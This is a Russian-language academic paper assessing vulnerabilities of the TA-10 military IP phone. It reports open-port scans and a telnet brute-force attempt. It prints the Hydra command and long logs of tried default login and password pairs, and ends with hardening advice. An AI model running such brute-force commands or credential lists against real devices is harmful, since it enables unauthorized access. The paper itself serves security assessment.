

ИССЛЕДОВАНИЕ УЯЗВИМОСТЕЙ СРЕДСТВ IP-ТЕЛЕФОНИИ С ПОМОЩЬЮ ОБЩЕДОСТУПНЫХ ПРОГРАММНЫХ СРЕДСТВ

Макатерчик А.В.

Белорусский государственный университет информатики и радиоэлектроники
г. Минск, Республика Беларусь

Маликов В.В. – канд. тех. наук

Аннотация. Актуальным вопросом развития инфокоммуникационных систем и услуг в войсках связи Вооруженных Сил Республики Беларусь является оценка новых средств связи на предмет наличия уязвимостей информационной безопасности. Знание имеющихся уязвимостей позволит оперативно оценивать состояние системы защиты информации, а также принимать необходимые меры по снижению рисков, связанных с создаваемыми данными уязвимостями угрозами.

Объектом исследования были выбраны стоящие на вооружении и допущенные к использованию в Вооруженных Силах IP-телефоны.

ТА-10 – цифровой телефонный аппарат, предназначенный для обеспечения телефонной связи по IP-сетям и сетям автоматической телефонной связи в стационарных и подвижных пунктах управления Вооруженных Сил.

В качестве инструментов исследования выбраны сканеры уязвимостей: Nmap, XSpider 7.7.

В ходе сканирования были обнаружены открытые порты на устройстве. Открытые порты могут нести опасность, если за ними стоит какая-либо служба, которой может воспользоваться злоумышленник для атаки.

Обе программы показали, что порты 23 и 111 открыты, а расширенное сканирование программы Nmap также показало, что открыты порты 5038 и 5060.

Порт 23 порт используется для службы TELNET. Порт 111 порт используется для службы SUNRPC (Sun Remote Procedure Call). Порты 5038 и 5060 не используются какими-либо распространенными службами, что ставит определенный вопрос к разработчикам о необходимости их использования. Однако, также затрудняют злоумышленнику процесс поиска уязвимостей и их последующей эксплуатации.

Найденные открытые порты можно использовать для несанкционированного доступа к устройству. Например, через порт 23, использующийся для службы TELNET, злоумышленник может подключиться к терминалу устройства, зная логин и пароль. Есть несколько способов, которыми может воспользоваться злоумышленник, чтобы узнать пароль: брутфорс, расшифровка хешей, вредоносное ПО.

В рамках исследования оценены возможности реализации брутфорса. Используются следующие инструменты: операционная система Kali Linux; программное обеспечение Hydra; словари часто используемых логинов и паролей.

Для реализации использована команда из ПО Hydra

```
hydra -l '/media/root/KALI LIVE/взлом TA10/logins.txt' -P '/media/root/KALI LIVE/взлом TA10/passwords.txt' 10.0.0.5 -t 5 telnet -V
```

После выполнения команды осуществлялся последовательный перебор логинов из файла logins.txt, паролей из файла passwords.txt и попытка входа под полученной парой значений. Ход выполнения программы представлен на рисунках 1 и 2.

По окончании работы, показан полученный результат: количество целей брутфорса и количество комбинаций логинов и паролей, с которыми получился вход в систему.

Как видно из результатов, защита от брутфорса в данном телефонном аппарате не реализована по умолчанию.

В ходе исследования установлено, что поиск уязвимостей устройств IP-телефонии с помощью общедоступных программных средств для сканирования сетевых уязвимостей таких как Nmap и XSpider 7.7 осуществим и не представляет сложностей ни для специалистов по информационной безопасности, ни для злоумышленников.

С помощью выбранных инструментов было обнаружено, что устройство ТА-10 использует протокол TELNET, к которому может быть осуществлен удаленный доступ. А также проверена возможность реализации атаки подбора данных для входа «брутфорс».

Используемого словаря было недостаточно, доступ к устройству не получен. Что свидетельствует скорее о низком качестве словаря, чем о надежности пароля.

```

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-15 07:15:53
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 5 tasks per 1 server, overall 5 tasks, 1024 login tries (l:32/p:32), ~205 tries per task
[DATA] attacking telnet://10.0.0.5:23/
[ATTEMPT] target 10.0.0.5 - login "root" - pass "root" - 1 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "admin" - 2 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "administrator" - 3 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "webadmin" - 4 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "sysadmin" - 5 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "netadmin" - 6 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "guest" - 7 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "user" - 8 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "web" - 9 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "test" - 10 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "adm" - 11 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "tech" - 12 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "recovery" - 13 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "operator" - 14 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "client" - 15 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "manager" - 16 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "customer" - 17 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "device" - 18 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "isp" - 19 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "cisco" - 20 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "super" - 21 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "anonymous" - 22 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "login" - 23 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "tiger" - 24 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "root" - pass "public" - 25 of 1024 [child 1] (0/0)

```

Рисунок 1 – Подбор пароля TA-10

```

[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "customer" - 977 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "device" - 978 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "isp" - 979 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "cisco" - 980 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "super" - 981 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "anonymous" - 982 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "login" - 983 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "tiger" - 984 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "public" - 985 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "system" - 986 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "info" - 987 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "sysadm" - 988 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "setup" - 989 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "support" - 990 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "abuse" - 991 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "abuse" - pass "postmaster" - 992 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "root" - 993 of 1024 [child 2] (0/0)
[STATUS] 76.38 tries/min, 993 tries in 00:13h, 31 to do in 00:01h, 5 active
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "admin" - 994 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "administrator" - 995 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "webadmin" - 996 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "sysadmin" - 997 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "netadmin" - 998 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "guest" - 999 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "user" - 1000 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "web" - 1001 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "test" - 1002 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "adm" - 1003 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "tech" - 1004 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "recovery" - 1005 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "operator" - 1006 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "client" - 1007 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "manager" - 1008 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "customer" - 1009 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "device" - 1010 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "isp" - 1011 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "cisco" - 1012 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "super" - 1013 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "anonymous" - 1014 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "login" - 1015 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "tiger" - 1016 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "public" - 1017 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "system" - 1018 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "info" - 1019 of 1024 [child 0] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "sysadm" - 1020 of 1024 [child 3] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "setup" - 1021 of 1024 [child 2] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "support" - 1022 of 1024 [child 4] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "abuse" - 1023 of 1024 [child 1] (0/0)
[ATTEMPT] target 10.0.0.5 - login "postmaster" - pass "postmaster" - 1024 of 1024 [child 0] (0/0)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-15 07:29:19
root@kali:~#

```

Рисунок 2 – Подбор пароля TA-10

Брутфорс - один из самых распространенных способов получения несанкционированного доступа к слабо защищенным системам. Следовательно, установка сложных паролей и регулярная их замена является основополагающим способом защиты от взлома.

Использование стандартной конфигурации, может также привести к взлому, так как обычно используются распространенные пары логинов и паролей (admin, root и т.д.), которые в первую очередь злоумышленник проверяет при попытке взлома. А также отсутствие в стандартных установках реализации защиты от атак типа «брутфорс», например, ограничение числа попыток ввода и временная блокировка.